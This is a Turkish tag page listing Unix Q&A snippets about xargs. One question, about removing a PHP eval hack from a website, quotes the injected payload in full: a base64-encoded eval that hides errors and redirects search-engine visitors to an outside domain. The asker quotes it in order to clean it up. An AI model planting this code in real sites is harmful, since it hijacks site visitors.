«xargs» etiketlenmiş sorular

Unix benzeri işletim sistemlerinde çok az sayıda argümanı yalnızca az sayıda argüman alabilen programlara aktarmak için kullanılan yardımcı program


2
Xargs neden gereklidir?
Bir dizindeki "notes.txt" adlı bir dosya dışındaki tüm dosyaları kaldırmak istediğimi varsayalım. Bunu boru hattıyla yapardım ls | grep -v "notes.txt" | xargs rm. İkinci borunun çıkışı rm'nin kullanması gereken girişse neden xargs'a ihtiyacım var? Karşılaştırma amacıyla, boru hattı, echo "#include <knowledge.h>" | cat > foo.cyinelenen metni xargs kullanmadan dosyaya …
25 bash  pipe  xargs  coreutils 


4
Osx içinde xargs -d için yedek
Linux'ta, komutu aşağıdaki gibi sıralı adlara sahip dört farklı sunucuya xargs -d,hızlı bir şekilde çalıştırmak için kullanabilirsiniz hostname: echo -n 1,2,3,4 |xargs -d, -I{} ssh root@www{}.example.com hostname OSX xargs komutu, delimiter parametresini desteklemiyor gibi görünüyor. Aynı sonucu farklı biçimlendirilmiş echoveya başka bir komut satırı yardımcı programıyla elde edebilir misiniz ?
22 macos  xargs 




8
Xargs ile aynı anda iki parametreyi nasıl kullanabilirim?
Videoları dönüştürmem gerekiyor, ama nerede olduklarını bilmiyorum, bu yüzden findonlara ihtiyacım var . Nasıl sonucu ve bir çıktı dosyası adını verebilir FFmpeg'den ile xargs? Zaten bu komutu kullanarak iki parametreyi inşa edebileceğimi öğrendim: find . -iname "*.mov" -printf "%p %f\n" xargsKılavuzda ilgili hiçbir şey bulamıyorum . Böyle bir şey istiyorum: …


1
xargs -I replace-str seçenek farkı
Anladığım kadarıyla, aşağıdakiler tamamen aynı anlama gelmelidir: ls -1 | xargs file {} ls -1 | xargs -I{} file {} -I seçeneği belirtilmezse, varsayılan olarak -I {} olarak ayarlanır. Geçerli dizindeki tüm dosyaları listelemek ve fileher birinde komut çalıştırmak istiyorum . Bazılarının isimlerinde boşluklar var. Ancak farkı fark ettim. Aşağıya …
16 bash  xargs 


2
tek argümanlar için xargs --replace / -I
Her sağlanan bağımsız değişken için bir komut çalıştırmak için xargs kullanmaya çalışıyorum, ama ne yazık ki --replace / -I bayrağı -n ile konjuge zaman düzgün çalışmıyor gibi görünüyor. Görünüşe göre {}, -n seçeneğinden bağımsız olarak stdin'den okunan argümanların tam listesine genişleyecek. Ne yazık ki, web'deki tüm örnekler {} 'nin genişletildiği …

4
find: -exec vs xargs (aka “find | xargs basename” neden kesiliyor?)
Alt dizinlere yayılmış belirli bir türdeki tüm dosyaları bulmaya çalışıyordum ve benim amacım için sadece dosya adına ihtiyacım vardı. Ben yol bileşeni üzerinden sıyırma denedim basename, ama ile çalışmadı xargs: $ find . -name '*.deb' -print | xargs basename basename: extra operand `./pool/main/a/aalib/libaa1_1.4p5-37+b1_i386.deb' Try `basename --help' for more information. Bu …
10 command-line  find  gnu  xargs 

3
Dizin ağacındaki geçersiz JSON dosyalarını algıla
Dizin ağacına göre geçersiz olan bir JSON dosyası içeriyorsa, bir yapı başarısız olmak istiyorum. jsonlint NPM'den paket . Bunun kaçmak kadar kolay olacağını düşündüm: find . -name \*.json | xargs jsonlint -q Disk üzerinde kötü biçimlendirilmiş bir JSON belgesinin bulunduğunu biliyordum ve bu bir sorunu çözmüyordu. Daha fazla araştırma gösterir …

1
grep, xargs, PHP eval hack'i temizlemek için sed
Bir PHP eval tabanlı kesmeyi temizlemek için http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ adresinde bulunan komutları kullanmaya çalışıyorum bir sitede. Eşleşecek / kaldırılacak örnek kod <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Denenmiş komut: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' Sudo, eriştiğim dizinde okuma / yazma izninin olması gerektiği için eklendi. Dosyalar grep'ten …
3 grep  sed  xargs 

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.